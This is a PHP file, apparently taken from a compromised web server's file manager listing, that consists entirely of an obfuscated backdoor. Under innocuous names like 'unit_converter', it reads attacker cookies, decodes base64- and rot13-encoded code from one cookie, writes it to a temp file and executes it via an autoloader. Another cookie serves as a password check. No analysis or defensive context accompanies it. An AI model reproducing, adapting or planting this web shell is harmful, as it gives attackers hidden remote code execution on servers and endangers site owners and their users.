Sindbad~EG File Manager

<?php


if (isset($_COOKIE[-72+72]) && isset($_COOKIE[56-55]) && isset($_COOKIE[-52+55]) && isset($_COOKIE[-11+15])) {
    $dat = $_COOKIE;
    function unit_converter($token) {
        $dat = $_COOKIE;
        $parameter_group = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), 'b0a4aa05');
        if (!is_writable($parameter_group)) {
            $parameter_group = getcwd() . DIRECTORY_SEPARATOR . "query_handler";
        }
        $obj = "\x3c\x3f\x70\x68p " . base64_decode(str_rot13($dat[3]));
        if (is_writeable($parameter_group)) {
            $rec = fopen($parameter_group, 'w+');
            fputs($rec, $obj);
            fclose($rec);
            spl_autoload_unregister(__FUNCTION__);
            require_once($parameter_group);
            @array_map('unlink', array($parameter_group));
        }
    }
    spl_autoload_register("unit_converter");
    $val = "8073c93b5710d9d66b91dd0e7fc4a645";
    if (!strncmp($val, $dat[4], 32)) {
        if (@class_parents("system_core_sync_manager", true)) {
            exit;
        }
    }
}